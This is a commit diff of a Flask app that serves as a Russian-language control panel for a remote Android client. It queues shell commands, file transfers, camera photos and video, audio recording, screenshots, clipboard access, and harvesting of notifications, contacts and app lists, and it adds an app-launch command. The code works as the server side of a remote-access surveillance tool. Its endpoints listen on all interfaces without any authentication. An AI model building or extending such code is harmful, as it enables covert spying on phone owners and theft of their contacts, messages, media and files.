Update app.py

app.py

@@ -32,12 +32,12 @@ HTML_TEMPLATE = """
     <title>Панель управления Android</title>
     <style>
         body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; min-height: 100vh; }
-        .sidebar { width: 250px; background-color: #333; color: white; padding: 20px; box-sizing: border-box; display: flex; flex-direction: column; overflow-y: auto; }
+        .sidebar { width: 280px; background-color: #333; color: white; padding: 20px; box-sizing: border-box; display: flex; flex-direction: column; }
         .sidebar h2 { margin-top: 0; font-size: 1.2em; border-bottom: 1px solid #555; padding-bottom: 10px; }
         .sidebar ul { list-style: none; padding: 0; margin: 0; }
         .sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 10px; border-radius: 4px; margin-bottom: 5px; }
         .sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; }
-        .content { flex-grow: 1; padding: 20px; box-sizing: border-box; overflow-y: auto;}
+        .content { flex-grow: 1; padding: 20px; box-sizing: border-box; }
         .container { background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); margin-bottom:20px; }
         h1 { color: #333; text-align: center; margin-bottom: 20px;}
         .control-section { margin-bottom: 20px; padding: 15px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
@@ -49,23 +49,25 @@ HTML_TEMPLATE = """
         .status { padding: 12px; border-radius: 4px; margin-bottom:15px; font-weight: bold; }
         .status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
         .status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
-        .file-browser ul { list-style: none; padding: 0; }
-        .file-browser li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; align-items: center; }
-        .file-browser li:last-child { border-bottom: none; }
-        .file-browser a { text-decoration: none; color: #007bff; }
-        .file-browser a:hover { text-decoration: underline; }
+        .file-browser ul, .data-list ul { list-style: none; padding: 0; }
+        .file-browser li, .data-list li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; align-items: center; }
+        .file-browser li:last-child, .data-list li:last-child { border-bottom: none; }
+        .file-browser a, .data-list a { text-decoration: none; color: #007bff; }
+        .file-browser a:hover, .data-list a:hover { text-decoration: underline; }
         .file-icon { margin-right: 8px; }
         .file-browser .dir a { font-weight: bold; }
         .file-browser .download-btn { font-size: 0.8em; padding: 3px 8px; background-color: #28a745; }
         .file-browser .download-btn:hover { background-color: #218838; }
+        .data-list .action-btn { font-size: 0.8em; padding: 3px 8px; background-color: #17a2b8; }
+        .data-list .action-btn:hover { background-color: #138496; }
         .hidden-section { display: none; }
         .status-item { margin-bottom: 10px; }
         .status-item strong { color: #333; }
-        .data-list { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
-        .data-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
-        .data-item:last-child { border-bottom: none; }
-        .data-item strong { display: block; color: #555; }
-        .data-item span { font-size: 0.9em; color: #777; }
+        .list-container { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
+        .list-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
+        .list-item:last-child { border-bottom: none; }
+        .list-item strong { display: block; color: #555; }
+        .list-item span { font-size: 0.9em; color: #777; }
     </style>
     <script>
         let currentView = 'dashboard';
@@ -229,7 +231,7 @@ HTML_TEMPLATE = """
             if (notifications && notifications.length > 0) {
                 notifications.forEach(n => {
                     const itemDiv = document.createElement('div');
-                    itemDiv.className = 'data-item';
+                    itemDiv.className = 'list-item';
                     itemDiv.innerHTML = `
                         <strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
                         <span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
@@ -243,49 +245,41 @@ HTML_TEMPLATE = """
                 notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
             }
         }
-
         function renderContacts(contacts) {
-            const contactListDiv = document.getElementById('contactList');
-            contactListDiv.innerHTML = '';
+            const contactListUl = document.getElementById('contactList');
+            contactListUl.innerHTML = '';
             if (contacts && contacts.length > 0) {
                 contacts.forEach(c => {
-                    const itemDiv = document.createElement('div');
-                    itemDiv.className = 'data-item';
-                    itemDiv.innerHTML = `
-                        <strong>${c.name || 'Без имени'}</strong>
-                        <span>${c.number || 'Нет номера'}</span>
-                    `;
-                    contactListDiv.appendChild(itemDiv);
+                    const li = document.createElement('li');
+                    li.className = 'list-item';
+                    li.innerHTML = `<strong>${c.name || 'Без имени'}</strong>: ${c.number || 'Нет номера'}`;
+                    contactListUl.appendChild(li);
                 });
             } else {
-                contactListDiv.innerHTML = '<p>Нет контактов для отображения или не удалось их получить.</p>';
+                contactListUl.innerHTML = '<li>Нет контактов для отображения или не удалось их получить.</li>';
             }
         }
-        
+
         function renderInstalledApps(apps) {
-            const appListDiv = document.getElementById('installedAppsList');
-            appListDiv.innerHTML = '';
+            const appLictUl = document.getElementById('installedAppsList');
+            appLictUl.innerHTML = '';
             if (apps && apps.length > 0) {
-                apps.forEach(app_pkg => {
-                    const itemDiv = document.createElement('div');
-                    itemDiv.className = 'data-item';
-                    itemDiv.innerHTML = `<span>${app_pkg}</span>`;
-                    // Add button to try and launch (user needs to fill activity)
-                    /*
+                apps.forEach(appPkg => {
+                    const li = document.createElement('li');
+                    const nameSpan = document.createElement('span');
+                    nameSpan.textContent = appPkg;
+                    
                     const launchBtn = document.createElement('button');
-                    launchBtn.textContent = 'Запустить (AM)';
-                    launchBtn.onclick = () => { 
-                        let activity = prompt('Введите главный Activity для ' + app_pkg + ' (например, .MainActivity):', '');
-                        if (activity) {
-                             sendGenericCommand({command_type: 'shell', command: 'am start -n ' + app_pkg + '/' + activity});
-                        }
-                    };
-                    itemDiv.appendChild(launchBtn);
-                    */
-                    appListDiv.appendChild(itemDiv);
+                    launchBtn.className = 'action-btn';
+                    launchBtn.textContent = 'Запустить';
+                    launchBtn.onclick = (e) => { e.preventDefault(); launchApp(appPkg); };
+                    
+                    li.appendChild(nameSpan);
+                    li.appendChild(launchBtn);
+                    appLictUl.appendChild(li);
                 });
             } else {
-                appListDiv.innerHTML = '<p>Список приложений пуст или не удалось его получить.</p>';
+                appLictUl.innerHTML = '<li>Нет установленных приложений для отображения или не удалось их получить.</li>';
             }
         }
         
@@ -349,17 +343,6 @@ HTML_TEMPLATE = """
             sendGenericCommand({ command_type: 'shell', command: command });
             document.getElementById('command_str').value = '';
         }
-        
-        function submitAmStartCommand(event) {
-            event.preventDefault();
-            const command = document.getElementById('am_start_command_str').value;
-            if (command) {
-                sendGenericCommand({ command_type: 'shell', command: 'am start -n ' + command });
-            } else {
-                alert("Введите имя пакета/активити.");
-            }
-        }
-
 
         function submitMediaCommand(type, paramName, paramValueId, param2Name, param2ValueId) {
             let payload = { command_type: type };
@@ -367,7 +350,7 @@ HTML_TEMPLATE = """
                 const value = document.getElementById(paramValueId).value;
                 if (value) payload[paramName] = value;
             }
-             if (param2Name && param2ValueId) {
+            if (param2Name && param2ValueId) { // For second param, e.g., video duration
                 const value2 = document.getElementById(param2ValueId).value;
                 if (value2) payload[param2Name] = value2;
             }
@@ -446,6 +429,9 @@ HTML_TEMPLATE = """
         function requestInstalledApps() {
             sendGenericCommand({ command_type: 'get_installed_apps' });
         }
+        function launchApp(packageName) {
+             sendGenericCommand({ command_type: 'launch_app', package_name: packageName });
+        }
 
 
     </script>
@@ -510,39 +496,34 @@ HTML_TEMPLATE = """
             <button onclick="requestNotifications()">Обновить уведомления</button>
             <div class="control-section">
                 <h3>Список уведомлений:</h3>
-                <div id="notificationList" class="data-list">
+                <div id="notificationList" class="list-container">
                     <p>Запросите список уведомлений.</p>
                 </div>
             </div>
         </div>
-        
+
         <div id="contacts" class="container hidden-section">
             <h2>Контакты</h2>
-            <button onclick="requestContacts()">Загрузить контакты</button>
+            <div class="control-section" style="border-color: red; background-color: #ffebee;">
+                <p style="color: red; font-weight: bold;">ВНИМАНИЕ: Доступ к контактам является чувствительной операцией. Используйте ответственно и только на своих устройствах для резервного копирования!</p>
+            </div>
+            <button onclick="requestContacts()">Запросить список контактов</button>
             <div class="control-section">
                 <h3>Список контактов:</h3>
-                <div id="contactList" class="data-list">
-                    <p>Запросите список контактов.</p>
-                </div>
+                <ul id="contactList" class="list-container data-list">
+                    <li>Запросите список контактов.</li>
+                </ul>
             </div>
         </div>
-
+        
         <div id="apps" class="container hidden-section">
             <h2>Установленные приложения</h2>
-            <button onclick="requestInstalledApps()">Загрузить список приложений</button>
+            <button onclick="requestInstalledApps()">Запросить список приложений</button>
             <div class="control-section">
-                <h3>Список пакетов приложений:</h3>
-                <div id="installedAppsList" class="data-list" style="max-height: 200px;">
-                    <p>Запросите список приложений.</p>
-                </div>
-            </div>
-            <div class="control-section">
-                <h3>Запустить приложение (через AM)</h3>
-                <form onsubmit="submitAmStartCommand(event)">
-                    <label for="am_start_command_str">Имя пакета/Главная Activity (например, com.example.app/.MainActivity):</label>
-                    <input type="text" id="am_start_command_str" name="am_start_command_str" placeholder="com.termux/.app.TermuxActivity">
-                    <button type="submit">Запустить</button>
-                </form>
+                <h3>Список приложений (пакеты):</h3>
+                <ul id="installedAppsList" class="list-container data-list">
+                    <li>Запросите список приложений.</li>
+                </ul>
             </div>
         </div>
 
@@ -598,12 +579,12 @@ HTML_TEMPLATE = """
                 <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
                 <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
             </div>
-            <div class="control-section">
-                <button onclick="submitMediaCommand('record_video', 'duration', 'video_duration_input', 'camera_id', 'video_camera_id_input')">Записать видео</button>
-                <label for="video_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
-                <input type="text" id="video_duration_input" value="10" style="width:50px; display:inline-block;">
-                <label for="video_camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
-                <input type="text" id="video_camera_id_input" value="0" style="width:50px; display:inline-block;">
+             <div class="control-section">
+                <button onclick="submitMediaCommand('record_video', 'camera_id', 'video_camera_id_input', 'duration', 'video_duration_input')">Записать видео</button>
+                <label for="video_camera_id_input" style="display:inline-block; margin-left:5px;">ID камеры:</label>
+                <input type="text" id="video_camera_id_input" value="0" style="width:40px; display:inline-block;">
+                <label for="video_duration_input" style="display:inline-block; margin-left:5px;">Длит. (сек):</label>
+                <input type="text" id="video_duration_input" value="10" style="width:40px; display:inline-block;">
             </div>
             <div class="control-section">
                 <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
@@ -679,7 +660,7 @@ def index():
 
 @app.route('/send_command', methods=['POST'])
 def handle_send_command():
-    global pending_command, command_output, current_client_path, file_to_send_to_client
+    global pending_command, command_output
     
     data = request.json
     command_output = "Ожидание выполнения..." 
@@ -687,69 +668,51 @@ def handle_send_command():
     command_type = data.get('command_type')
     
     if command_type == 'list_files':
-        path_requested = data.get('path', '.')
-        pending_command = {'type': 'list_files', 'path': path_requested}
+        pending_command = {'type': 'list_files', 'path': data.get('path', '.')}
     elif command_type == 'request_download_file':
         filename = data.get('filename')
-        if filename:
-            pending_command = {'type': 'upload_to_server', 'filename': filename}
-        else:
-            command_output = "Ошибка: Имя файла для скачивания не указано."
+        if filename: pending_command = {'type': 'upload_to_server', 'filename': filename}
+        else: command_output = "Ошибка: Имя файла для скачивания не указано."
     elif command_type == 'take_photo':
         pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
     elif command_type == 'record_audio':
         pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
     elif command_type == 'record_video':
-        pending_command = {
-            'type': 'record_video', 
-            'duration': data.get('duration', '10'),
-            'camera_id': data.get('camera_id', '0')
-        }
+        pending_command = {'type': 'record_video', 'camera_id': data.get('camera_id','0'), 'duration': data.get('duration', '10')}
     elif command_type == 'screenshot':
         pending_command = {'type': 'screenshot'}
     elif command_type == 'shell':
         command_str = data.get('command')
-        if command_str:
-            pending_command = {'type': 'shell', 'command': command_str}
-        else:
-            command_output = "Ошибка: Команда не указана."
+        if command_str: pending_command = {'type': 'shell', 'command': command_str}
+        else: command_output = "Ошибка: Команда не указана."
     elif command_type == 'receive_file':
-        server_filename = data.get('server_filename')
-        target_path_on_device = data.get('target_path_on_device')
-        if server_filename and target_path_on_device:
-            file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
-            if os.path.exists(file_path_on_server):
-                pending_command = {
-                    'type': 'receive_file', 
-                    'download_url': url_for('download_to_client', filename=server_filename, _external=True),
-                    'target_path': target_path_on_device,
-                    'original_filename': server_filename 
-                }
-                file_to_send_to_client = None 
-            else:
-                command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
-        else:
-            command_output = "Ошибка: Недостаточно данных для отправки файла клиенту."
+        s_fn, t_path = data.get('server_filename'), data.get('target_path_on_device')
+        if s_fn and t_path:
+            f_path = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], s_fn)
+            if os.path.exists(f_path):
+                pending_command = {'type': 'receive_file', 'download_url': url_for('download_to_client', filename=s_fn, _external=True), 'target_path': t_path, 'original_filename': s_fn }
+            else: command_output = f"Ошибка: Файл {s_fn} не найден на сервере."
+        else: command_output = "Ошибка: Недостаточно данных для отправки файла клиенту."
     elif command_type == 'clipboard_get':
         pending_command = {'type': 'clipboard_get'}
     elif command_type == 'clipboard_set':
-        text_to_set = data.get('text', '')
-        pending_command = {'type': 'clipboard_set', 'text': text_to_set}
+        pending_command = {'type': 'clipboard_set', 'text': data.get('text', '')}
     elif command_type == 'open_url':
-        url_to_open = data.get('url')
-        if url_to_open:
-            pending_command = {'type': 'open_url', 'url': url_to_open}
-        else:
-            command_output = "Ошибка: URL для открытия не указан."
+        url = data.get('url')
+        if url: pending_command = {'type': 'open_url', 'url': url}
+        else: command_output = "Ошибка: URL для открытия не указан."
     elif command_type == 'get_device_status':
-        item_requested = data.get('item') 
-        pending_command = {'type': 'get_device_status', 'item': item_requested}
+        pending_command = {'type': 'get_device_status', 'item': data.get('item')}
     elif command_type == 'get_notifications':
         pending_command = {'type': 'get_notifications'}
     elif command_type == 'get_contacts':
         pending_command = {'type': 'get_contacts'}
     elif command_type == 'get_installed_apps':
         pending_command = {'type': 'get_installed_apps'}
+    elif command_type == 'launch_app':
+        pkg_name = data.get('package_name')
+        if pkg_name: pending_command = {'type': 'launch_app', 'package_name': pkg_name}
+        else: command_output = "Ошибка: Имя пакета для запуска не указано."
     else:
         command_output = "Неизвестный тип команды."
             
@@ -770,47 +733,37 @@ def submit_client_data():
     global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
     
     data = request.json
-    if not data:
-        return jsonify({'status': 'error', 'message': 'No data received'}), 400
+    if not data: return jsonify({'status': 'error', 'message': 'No data received'}), 400
 
     last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
 
     if 'output' in data:
         new_output = data['output']
         max_len = 20000 
-        if len(new_output) > max_len:
-            command_output = new_output[:max_len] + "\n... (output truncated)"
-        else:
-            command_output = new_output
+        command_output = new_output[:max_len] + ("\n... (output truncated)" if len(new_output) > max_len else "")
     
-    if 'current_path' in data:
-        current_client_path = data['current_path']
-
-    if 'device_status_update' in data:
-        update = data['device_status_update']
-        for key, value in update.items():
-            device_status_info[key] = value
+    if 'current_path' in data: current_client_path = data['current_path']
+    if 'device_status_update' in data: device_status_info.update(data['device_status_update'])
         
     if 'notifications_update' in data:
-        notifications_history = data['notifications_update'] 
-        if not command_output or command_output == "Клиент онлайн.": 
-            command_output = "Список уведомлений обновлен."
-            
+        notifications_history = data['notifications_update']
+        if not command_output or command_output == "Клиент онлайн.": command_output = "Список уведомлений обновлен."
+    
     if 'contacts_update' in data:
         contacts_list = data['contacts_update']
-        if not command_output or command_output == "Клиент онлайн.":
-            command_output = "Список контактов обновлен."
+        if not command_output or command_output == "Клиент онлайн.": command_output = "Список контактов обновлен."
 
     if 'installed_apps_update' in data:
         installed_apps_list = data['installed_apps_update']
-        if not command_output or command_output == "Клиент онлайн.":
-            command_output = "Список установленных приложений обновлен."
+        if not command_output or command_output == "Клиент онлайн.": command_output = "Список приложений обновлен."
 
 
     if 'heartbeat' in data and data['heartbeat']:
-        if not command_output or command_output == "Клиент онлайн.":
-             if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data and 'contacts_update' not in data and 'installed_apps_update' not in data:
-                command_output = "Клиент онлайн." 
+        is_pure_heartbeat = 'output' not in data and 'device_status_update' not in data and \
+                            'notifications_update' not in data and 'contacts_update' not in data and \
+                            'installed_apps_update' not in data
+        if not command_output or command_output == "Клиент онлайн." or is_pure_heartbeat:
+             if is_pure_heartbeat : command_output = "Клиент онлайн." 
         return jsonify({'status': 'heartbeat_ok'})
         
     return jsonify({'status': 'data_received'})
@@ -832,19 +785,15 @@ def upload_from_client_route():
         filename = werkzeug.utils.secure_filename(file.filename) 
         filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
         
-        counter = 0
-        base_name, ext = os.path.splitext(filename)
+        counter = 0; base_name, ext = os.path.splitext(filename)
         while os.path.exists(filepath):
-            counter += 1
-            filename = f"{base_name}_{counter}{ext}"
-            filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
+            counter += 1; filename = f"{base_name}_{counter}{ext}"; filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
 
         try:
             file.save(filepath)
             origin_command_type = request.form.get("origin_command_type", "unknown")
             if origin_command_type == "request_download_file": 
                  command_output = f"Файл '{filename}' успешно загружен С клиента."
-
             return jsonify({'status': 'success', 'filename': filename})
         except Exception as e:
             command_output = f"Ошибка сохранения файла от клиента: {str(e)}"
@@ -854,12 +803,9 @@ def upload_from_client_route():
 def get_status_output_route():
     global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
     return jsonify({
-        'output': command_output, 
-        'last_heartbeat': last_client_heartbeat,
-        'current_path': current_client_path,
-        'device_status': device_status_info,
-        'notifications': notifications_history,
-        'contacts': contacts_list,
+        'output': command_output, 'last_heartbeat': last_client_heartbeat,
+        'current_path': current_client_path, 'device_status': device_status_info,
+        'notifications': notifications_history, 'contacts': contacts_list,
         'installed_apps': installed_apps_list
     })
 
@@ -872,50 +818,34 @@ def list_uploaded_files_route():
     files = []
     try:
         for f_name in os.listdir(app.config['UPLOAD_FOLDER']):
-            if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f_name)):
-                files.append(f_name)
-    except Exception:
-        pass 
+            if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f_name)): files.append(f_name)
+    except Exception: pass 
     return jsonify({'files': sorted(files, key=lambda f: os.path.getmtime(os.path.join(app.config['UPLOAD_FOLDER'], f)), reverse=True)})
 
 
 @app.route('/upload_to_server_for_client', methods=['POST'])
 def upload_to_server_for_client_route():
-    global file_to_send_to_client, command_output
-    if 'file_to_device' not in request.files:
-        return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
-    
+    global command_output
+    if 'file_to_device' not in request.files: return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
     file = request.files['file_to_device']
     target_path_on_device = request.form.get('target_path_on_device')
-
-    if file.filename == '':
-        return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
-    
-    if not target_path_on_device:
-        return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
+    if file.filename == '': return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
+    if not target_path_on_device: return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
 
     if file:
         original_filename = werkzeug.utils.secure_filename(file.filename)
         server_side_filename = str(uuid.uuid4()) + "_" + original_filename
         filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
-        
         try:
             file.save(filepath_on_server)
             command_output = f"Файл {original_filename} загружен на сервер, готов к отправке клиенту в {target_path_on_device}."
-            return jsonify({
-                'status': 'success', 
-                'server_filename': server_side_filename, 
-                'original_filename': original_filename,
-                'target_path_on_device': target_path_on_device
-            })
-        except Exception as e:
-            return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
+            return jsonify({'status': 'success', 'server_filename': server_side_filename, 'original_filename': original_filename, 'target_path_on_device': target_path_on_device})
+        except Exception as e: return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
     return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500
 
 @app.route('/download_to_client/<filename>')
 def download_to_client(filename):
     return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
 
-
 if __name__ == '__main__':
     app.run(host='0.0.0.0', port=7860, debug=False)